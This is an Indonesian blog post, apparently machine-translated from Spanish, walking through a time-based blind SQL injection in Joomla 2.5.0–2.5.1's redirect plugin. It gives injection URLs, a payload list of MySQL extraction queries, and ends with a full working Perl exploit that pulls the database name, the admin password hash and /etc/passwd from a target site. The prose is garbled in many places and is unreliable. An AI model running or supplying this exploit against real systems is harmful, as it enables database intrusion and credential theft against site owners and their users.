Eksploitasi Jejak Joomla

Oleh chmood

Jumat, Oktober 09, 2015 Sabtu, Oktober 10, 2015

Dalam posting ini saya akan mencoba untuk menjelaskan bagaimana membuat langkah demi langkah untuk mengeksploitasi Joomla 2.5.0-2.5.1 atau 1.7.0-1.7.5, dengan cara yang paling sederhana mungkin dan menjelaskan dasar-dasar injeksi SQL dan beberapa a sedikit lebih maju, karena dalam kasus ini berdasarkan waktu serangan menjadi.

Untuk latihan ini idealnya montéis versi Joomla versión 2.5.1 secara default di sistem Anda dan mungkin dapat mengakses secara lokal untuk pergi tentang melakukan tes.

Sampai saat ini tidak ada mengeksploitasi kegagalan ini 29 Februari, meskipun kerentanan dengan catatan keamanan Colin Wong. dikenal.

Apa yang telah benar-benar meninggalkan saya NO, seperti lemak dan bodoh kerentanan telah dilemparkan dalam kode. Aku terperangah yang belum ditemukan sebelumnya, neraka, jika demikian Acunetix, yang terdeteksi.

Langkah pertama adalah untuk menemukan di mana bug tersebut membandingkan kode dari versi rentan: 2.5.0 atau 2.5.1, versi yang memecahkan: 2.5.2.

Kedua file di-download dan didekompresi untuk melihat mana garis telah dimodifikasi. Untungnya tidak ada banyak dan sangat mudah untuk mendeteksi baris yang dipengaruhi oleh injeksi perintah SQL dengan "diff" sederhana (garis 8)

Data hosted with ♥ by Pastebin.com - Download Raw - See Original

wget http://joomlacode.org/gf/download/frsrelease/16512/72866/Joomla_2.5.1-Stable-Full_Package.tar.gz

mkdir j-2.5.1; cd j-2.5.1

tar -zxvf ../Joomla_2.5.1-Stable-Full_Package.tar.gz

wget http://joomlacode.org/gf/download/frsrelease/16760/72876/Joomla_2.5.2-Stable-Full_Package.tar.gz

mkdir j-2.5.2; cd j-2.5.2

tar -zxvf ../Joomla_2.5.2-Stable-Full_Package.tar.gz

diff -rN j-2.5.1 j-2.5.2

[...]

71,72c70

diff -r j-2.5.1/plugins/system/redirect/redirect.php j-2.5.2/plugins/system/redirect/redirect.php

<   $db->setQuery('select id from '.$db->quoteName('#__redirect_links')."  where old_url='".$current."'");

>   $db->setQuery('select id from '.$db->quoteName('#__redirect_links')."  where old_url='" . $db->quote($current) . "'");

[...]

Ups! Dalam dua baris terakhir dari diff adalah variabel "$ Lancar" dalam versi baru yang disebut menggunakan $ db-> quote (), bukan langsung. Tersangka;).

Hal berikutnya adalah mencoba untuk menemukan pada titik kode ini dijalankan untuk mencari tahu di mana Anda harus menyuntikkan kode SQL dan seberapa jauh ia bisa pergi.

Sentuh meninjau file mana garis yang: j-2.5.1 / plugins / system / redirect / redirect.php

Data hosted with ♥ by Pastebin.com - Download Raw - See Original

/**

 * Plugin class for redirect handling.

 *

 * @package             Joomla.Plugin

 * @subpackage  System.redirect

*/

Hanya header dapat dilihat menjadi componente del Core de Joomla que está encargado de hacer redirecciones dan melihat panel admin, Anda mendapatkan ide singkat tentang apa fungsi melakukan plugin ini.

Pada dasarnya memungkinkan pengalihan jika Anda meminta halaman Web yang tidak ada. Mengelola dan menghindari kesalahan yang pengunjung mencapai halaman web yang mati.

Sekarang membaca file kode secara detail dan perlahan-lahan. Setidaknya bagian penting:

Data hosted with ♥ by Pastebin.com - Download Raw - See Original

// Attempt to ignore idiots.

if ((strpos($current, 'mosConfig_') !== false) || (strpos($current, '=http://') !==false)) {

        // Render the error page.

        JError::customErrorPage($error);

}

// See if the current url exists in the database as a redirect.

$db = JFactory::getDBO();

        $db->setQuery(

        'SELECT '.$db->quoteName('new_url').', '.$db->quoteName('published').

        ' FROM '.$db->quoteName('#__redirect_links') .

        ' WHERE '.$db->quoteName('old_url').' = '.$db->quote($current),

        0, 1

);

$link = $db->loadObject();

// If a redirect exists and is published, permanently redirect.

if ($link and ($link->published == 1)) {

        $app->redirect($link->new_url, null, null, true, true);

}

else

{

        $referer = empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'];

        $db->setQuery('select id from '.$db->quoteName('#__redirect_links')."  where old_url='".$current."'");

        $res = $db->loadResult();

        if(!$res) {

                // If not, add the new url to the database.

                 $query = $db->getQuery(true);

                 $query->insert($db->quoteName('#__redirect_links'), false);

                 $columns = array( $db->quoteName('old_url'),

                                                $db->quoteName('new_url'),

                                                $db->quoteName('referer'),

                                                $db->quoteName('comment'),

                                                $db->quoteName('published'),

                                                $db->quoteName('created_date')

                                        );

                $query->columns($columns);

            $query->values($db->Quote($current). ', '. $db->Quote('').

                                        ' ,'.$db->Quote($referer).', '.$db->Quote('').',0, '.

                                          $db->Quote(JFactory::getDate()->toSql())

                                        );

                $db->setQuery($query);

                $db->query();

        }

Di luar komentar pertama (harus lihat sekarang siapa yang idiot). Kode dapat dilihat bahwa SQL rentan (line 24) pernyataan disebut ketika tidak ada redirect permanen diterbitkan dan dibuat untuk halaman yang (jika on line 18). Artinya, jika misalnya URL yang diminta: http: //localhost/joomla/index.php/AAAAA dan administrator CMS belum membuat redirect ke halaman ini 404 menunjukkan Joomla standar.

Langkah berikutnya bahwa aplikasi (garis 26-45) adalah dengan menambahkan URL ke database sehingga administrator dapat melihat halaman yang diminta dan tidak ada, tetapi bagian ini tidak jelas, karena injeksi Itu dihasilkan sebelum dan oleh karena itu tidak relevan.

Lalu bagaimana dimanfaatkan? Yah hanya Anda harus memanggil jenis halaman: http: serikat //localhost/joomla/index.php/AAAAAA 'pilih ... dan kode yang ingin Anda masukkan. Aku tahu, tampaknya tidak mungkin bahwa seperti populer dan dengan produk yang matang ini memiliki SQL Injection masih bodoh.

"Masalah," untuk memanfaatkan kerentanan adalah hasil dari injeksi tidak ditampilkan pada layar, atau kesalahan, atau positif / negatif dan mendapatkan sesuatu yang berguna adalah sedikit lebih kompleks, karena kalimat rentan digunakan secara internal oleh aplikasi dan tidak untuk menghasilkan halaman yang dihasilkan.

Hanya ada satu alternatif adalah suntikan berbasis waktu. Artinya, jika permintaan halaman tidak ada mengambil satu detik untuk merespon secara normal menyebabkan akhir 10 sebagai hasil dari injeksi.

Contoh paling sederhana untuk mendeteksi kerentanan ini adalah untuk memanggil halaman sebagai berikut: http: //localhost/joomla/index.php/AAAAAA 'union select tidur (10) serikat pilih' 1 dan mengamati bahwa membutuhkan waktu 10 detik untuk kembali halaman sebagai pernyataan SQL rentan akan menunggu 10 detik dan mencegah eksekusi normal akan kembali halaman biasanya dalam 1 atau 2 detik.

Database pelaksanaan dan menyelesaikan kalimat yang diperoleh dari baris 24 dengan parameter yang telah berlalu, adalah sebagai berikut:

pilih old_url DARI tabel WHERE id = 'http: //localhost/joomla/index.php/AAAAAA' union select tidur (15) serikat pilih '1"Sekarang tidak ada pilihan selain untuk mempelajari fungsi dari MySQL dan melihat bagaimana menggunakan perilaku ini untuk mengambil data. Yang paling penting:

database(): mengembalikan nama database: select database()
sleep(): menjalankan waktu tunda: select sleep(10)
length(): mengembalikan panjang string: select length(database())
ascii(): mengembalikan nilai ASCII string: select ascii("A")
substring() mengembalikan ASCII string Nilai select mid(database(),1,1)
load_file(): mengembalikan isi file: select load_file("/etc/hosts")
ord(): kode mengembalikan nilai jika multibyte atau ascii: select ord("2")
if(): Hal ini memungkinkan kembali nilai-nilai berdasarkan hasil dari pertanyaan lainnya: select if(database()="hola","yes","no") dalam hal ini "tidak", dan disebut "joomla" dan tidak "Halo"

Pencampuran fungsi-fungsi ini Anda dapat mencapai tujuan akhir. Sebagai contoh, dalam database saya disebut "joomla"

select substring(database(),1,1) mengembalikan karakter pertama dari "joomla", yaitu, "j".
select ascii(substring(database(),1,1)) mengembalikan karakter pertama dari "joomla" nama, "j" dan kemudian dikonversi ke desimal ASCII: 106
select ascii(substring(database(),2,1)) mengembalikan karakter kedua dari "joomla", "o" dan kemudian dikonversi ke desimal ASCII: 111
select if(database()="joomla","si","no") memeriksa hasil database () di "joomla" jika kembali benar "ya" jika tidak jadi kembali "tidak".
select if(ascii(substring(database(),2,1))=106,sleep(10),null)
cek ascii desimal jika karakter pertama dari database (), "106" adalah sama dengan 106, jika demikian, menjalankan tidur dari 10 detik dan jika tidak, ia mengembalikan apa-apa.
Yang terbaik, melihatnya dalam operasi langsung di MySQL

Data hosted with ♥ by Pastebin.com - Download Raw - See Original

mysql> SELECT SUBSTRING(DATABASE(),1,1);

+---------------------------+

| SUBSTRING(DATABASE(),1,1) |

+---------------------------+

| j                         |

+---------------------------+

1 ROW IN SET (0.00 sec)

mysql> SELECT ascii(SUBSTRING(DATABASE(),1,1));

+----------------------------------+

| ascii(SUBSTRING(DATABASE(),1,1)) |

+----------------------------------+

|                              106 |

+----------------------------------+

1 ROW IN SET (0.00 sec)

mysql> SELECT ascii(SUBSTRING(DATABASE(),2,1));

+----------------------------------+

| ascii(SUBSTRING(DATABASE(),2,1)) |

+----------------------------------+

|                              111 |

+----------------------------------+

1 ROW IN SET (0.00 sec)

mysql> SELECT IF(DATABASE()="joomla","si","no");

+-----------------------------------+

| IF(DATABASE()="joomla","si","no") |

+-----------------------------------+

| si                                |

+-----------------------------------+

1 ROW IN SET (0.00 sec)

mysql> SELECT IF(ascii(SUBSTRING(DATABASE(),1,1))=106,sleep(10),NULL);

+---------------------------------------------------------+

| IF(ascii(SUBSTRING(DATABASE(),1,1))=106,sleep(10),NULL) |

+---------------------------------------------------------+

|                                                       0 |

+---------------------------------------------------------+

1 ROW IN SET (10.00 sec)

Nah, setelah ini hanya mengotomatisasi seluruh proses Contoh 5 untuk menelusuri string dengan substring () dan membandingkan dengan tabel ASCII, menghitung berapa lama waktu yang dibutuhkan web di balasan, hanya 10 detik atau 1 atau 2.
Dengan permintaan ini karakter pertama dari "database ()" ditentukan:
select if(ascii(substring(database(),1,1))=1,sleep(10),null)
select if(ascii(substring(database(),1,1))=2,sleep(10),null)
select if(ascii(substring(database(),1,1))=3,sleep(10),null)
...

select if(ascii(substring(database(),1,1))=105,sleep(10),null)
select if(ascii(substring(database(),1,1))=106,sleep(10),null) <- Ini berjalan tidur, karena ascii dari "j" adalah 106 dan kondisi ini bertemu.

Setelah penundaan 10 detik terdeteksi, bergerak ke karakter berikutnya, memodifikasi substring:

select if(ascii(substring(database(),2,1))=1,sleep(10),null)
select if(ascii(substring(database(),2,1))=2,sleep(10),null)
select if(ascii(substring(database(),2,1))=3,sleep(10),null)
...

Bersarang sepasang loop dan menghitung waktu yang Anda dapat membuat hasil dari setiap query SQL. Sebagai contoh: select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users" nama meja di mana pengguna disimpan diperoleh dan con: select password from zzzz_users limit 1,hash dari password administrator pengguna.

Jika pengguna terhubung ke database memiliki cukup hak, Anda juga dapat menjalankan load_file (), meng-upload sebuah file system yang saya, misalnya / etc / passwd.

Mengeksploitasi adalah untuk hanya mengotomatisasi proses ini, bahkan mungkin mengembangkan alat dan dapat dikonfigurasi untuk tujuan ini. Operasi termasuk aliran ini akan permintaan:

Tanggal sistem diperoleh
ermintaan HTTP GET dilakukan dengan bukti,
ejemplo/contoh: http://localhost/joomla/index.php/AAAAAA' union select if(ascii(substring(database(),1,1))=1,sleep(10),null) union select '1
Dia berbalik untuk mendapatkan tanggal sistem
Jika perbedaan waktu antara titik 1 dan 3 adalah 10 detik, adalah bahwa kondisi 'jika' benar, sehingga nilai ascii yang benar dikenal.

Nah, itu saja, Anda hanya perlu mengoptimalkan dan menarik garis tentang kode yang melakukan pekerjaan kotor.

Optimasi adalah untuk menemukan kemungkinan waktu tunggu terpendek, mengurangi 10 detik yang telah digunakan di seluruh artikel untuk satu kurang yang tidak menghasilkan alarm palsu. Perbaikan lain adalah untuk melakukan seperti banyak permintaan web, menghindari perjalanan di sekitar meja mencari karakter ASCII yang valid. Untuk pernyataan tertentu, seperti database (), hanya memeriksa 32-90 desimal.

Yang terakhir, sedikit lebih kompleks adalah untuk membuat janji dengan ord () dan DAN untuk menemukan bit yang membentuk setiap byte. Dengan hanya 8 permintaan kode ascii ditentukan, tetapi jika kami memperkirakan bahwa setengah dari permintaan akan menghasilkan tidur (), mungkin memakan waktu lebih lama untuk melakukan hingga 60 permintaan tur meja itu sendiri, yang hanya membutuhkan satu tidur ().

End! Saya berharap latihan ini telah melayani untuk seseorang. Ini adalah kode yang saya telah meninggalkan saya: el código

Data hosted with ♥ by Pastebin.com - Download Raw - See Original

#!/usr/bin/perl

# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>

# www.securitybydefault.com

# Joomla <2.5.1 time based sql injection - vuln by Colin Wong

#

# using sleep() and not benchmark(), change for < mysql 5.0.12

#

# 1.- Database name: database()

# 2.- Users data table name: (change 'joomla' for database() result)

#       select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"

# 3.- Admin password: (change zzz_users from previus sql query result)

#       select password from zzzz_users limit 1

use strict;

use LWP::UserAgent;

$| = 1;

my $url = $ARGV[0];

my $wtime = $ARGV[1];

my $sql = $ARGV[2];

unless ($ARGV[2]) {

 print "$0 <url> <wait time> <sql>\n";

 print "\texamples:\n";

 print "\t get admin password:\n";

 print "\t\t$0 http://host/joomla/ 3 'database()'\n";

 print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";

 print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";

 print "\t get file /etc/passwd\n";

 print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";

 exit 1;

}

my ($len,$sqldata);

my $ua = LWP::UserAgent->new;

$ua->timeout(60);

$ua->env_proxy;

my $stime = time();

my $res = $ua->get($url);

my $etime = time();

my $regrtt = $etime - $stime;

print "rtt: $regrtt secs\n";

print "vuln?: ";

my $sleep = $regrtt + $wtime;

$stime = time();

$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");

$etime = time();

my $rtt = $etime - $stime;

if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }

my $lenoflen;

sub len {

 # length of length

 for (1..5) {

        my $sql=$_[0];

        $stime = time();

        $res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");

        $etime = time();

        my $rtt = $etime - $stime;

        if ($rtt >= $regrtt + $wtime) {

                $lenoflen = $_;

                last;

        }

 }

 for (1..$lenoflen) {

  my $ll;

  $ll=$_;

  for (0..9) {

        my $sql=$_[0];

        $stime = time();

        $res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");

        $etime = time();

        my $rtt = $etime - $stime;

        if ($rtt >= $regrtt + $wtime) {

                $len .= $_;

        }

  }

 }

        return $len;

}

sub data {

 my $sql = $_[0];

 my $len = $_[1];

 my ($bit, $str, @byte);

 my $high = 128;

 for (1..$len) {

        my $c=8;

        @byte="";

        my $a=$_;

        for ($bit=1;$bit<=$high;$bit*=2) {

                $stime = time();

                # select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';

                $res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");

                $etime = time();

                my $rtt = $etime - $stime;

                if ($rtt >= $regrtt + $wtime) {

                        $byte[$c]="0";

                } else { $byte[$c]="1"; }

        $c--;

        }

        $str = join("",@byte);

        print pack("B*","$str");

  }

}

$len = len($sql);

print "$sql length: $len\n";

print "$sql data:\n\n";

data($sql,$len);

Category

Exploitations Vuln

Komentar

Postingan Lebih Baru Postingan Lama

Eksploitasi Jejak Joomla

Backlink dengan Google Dork Seo

Cara Dapat Backlink dengan Google Dork

Cara Dapat Backlink Edu Gratis

Cara Login Beberapa Akun Dalam 1 Browser [Work Semua Web Login]

Bagi-bagi Dork

Hacking Facebook Using Fake Login

Download File ISO Windows 11 Dan Bootable USB Rufus

5 Software Proxy Terbaik Untuk Anonymous Browsing

Optimasi Meta Tag di New Blogger